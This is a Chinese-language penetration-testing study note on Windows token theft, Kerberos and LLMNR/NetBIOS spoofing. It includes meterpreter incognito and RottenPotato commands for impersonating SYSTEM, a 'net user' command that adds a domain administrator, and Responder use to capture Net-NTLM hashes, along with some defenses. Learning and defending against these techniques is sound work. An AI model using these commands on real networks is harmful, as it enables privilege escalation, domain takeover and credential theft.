令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。
■ 令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。
■ 访问令牌(Access Token)代表访问控制操作主体的系统对象
■ 密保令牌(Security Token)也叫作认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾。
■ 会话令牌(Session Token)是交互会话中唯一的身份标识符。
■ 伪造令牌攻击的核心是Kerberos协议。
Kerberos协议验证流程
- 用户输入自己的账号密码登录活动目录
- 域控制器对账号密码进行验证
- 密钥分发中心(KDC)将服务授权的票据(TGT)发送给用户,作为访问资源时的身份凭据
- 访问某个服务时,用户再次与KDC通信,将TGT作为身份凭证和对应的服务主体名称(SPN)一同 发送给KDC
- KDC中的身份验证服务(AS)对TGT进行解密
- 验证通过后,票据授权服务器(TGS),将允许访问对应服务的票据以及服务的地址发送给用户
- 用户使用该票据即可访问对应服务
令牌窃取
在获得meterpreter Shell之后,可以伪造令牌,进行交互或非交互的会话(两种操作需要的令牌不同)
RottenPotato本地提权分析
如果目标系统中存在有效的令牌,可以通过RottenPotato程序快速模拟用户令牌来实现权限
■ 输入“use incognito” 、“list tokens -u”命令,列出可用的令牌。
■ 下载RottenPotato execute -HC -f rottenpotato.exe impersonate_token "NT AUTHORITYW\\SYSTEM"
添加域管理员
假设网络中设置了域管理进程。在meterpreter会话窗口中输入“ps”命令,查看系统进程。
找到域管理进程,并使用migrate命令迁移到该进程。
在meterpreter控制台中输入“shell”,进入命令行界面,此时可以添加域管理员提权:
1 | net user 11 Aa123456 /ad /domain |
防御措施
■ 及时安装微软推送的补丁。
■ 对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
■ 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
■ 对于令牌,应采取加密存储及多重验证保护。
■ 使用加密链路SSL/TLS传输令牌,以防止被中间人窃听。
无凭证条件下的权限获取提权分析及防范
假设已经进入目标网络,但没有获得任何凭证,使用LLMNR和NetBIOS欺骗攻击对目标网络进行渗透测试。
LLMNR和NetBIOS欺骗攻击
LLMNR
本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到DNS服务器恢复正常为止。
Windows从vista版本开始支持LLMNR,支持IPv6
NetBIOS
NetBIOS是一种网络协议,根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址。
NetBIOS不支持IPv6。
NetBIOS提供的三种服务如下:
■ NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据报。默认监听UDP137端口,也可以使用TCP137端口。
■ Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责进行错误检测和恢复,默认监听UDP138端口。
■ Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用TCP139端口。
Net-NTLM-Hash和NTLM-Hash的区别
NTLM Hash是指Windows操作系统的SecurityAccount Manager中保存的用户密码散列值。通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。
Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLMHash。使用Responder抓取的通常就是Net-NTLMHash。
攻击者无法使用Net-NTLM Hash散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击。
具体攻击
假设目标网络的DNS服务器因发生故障而无法提供服务时,会退回LLMNR和NBT-NS进行计算机名解析。
使用Responder
工具进行渗透测试。
在渗透测试中,使用Responder并启动回应请求功能:Responder会自动回应客户端的请求并声明自己就是被输入了错误计算机名的那台机器,然后尝试建立SMB连接。
客户端会发送自己的Net-NTLMHash进行身份验证,此时将得到目标机器的Net-NTLMHash。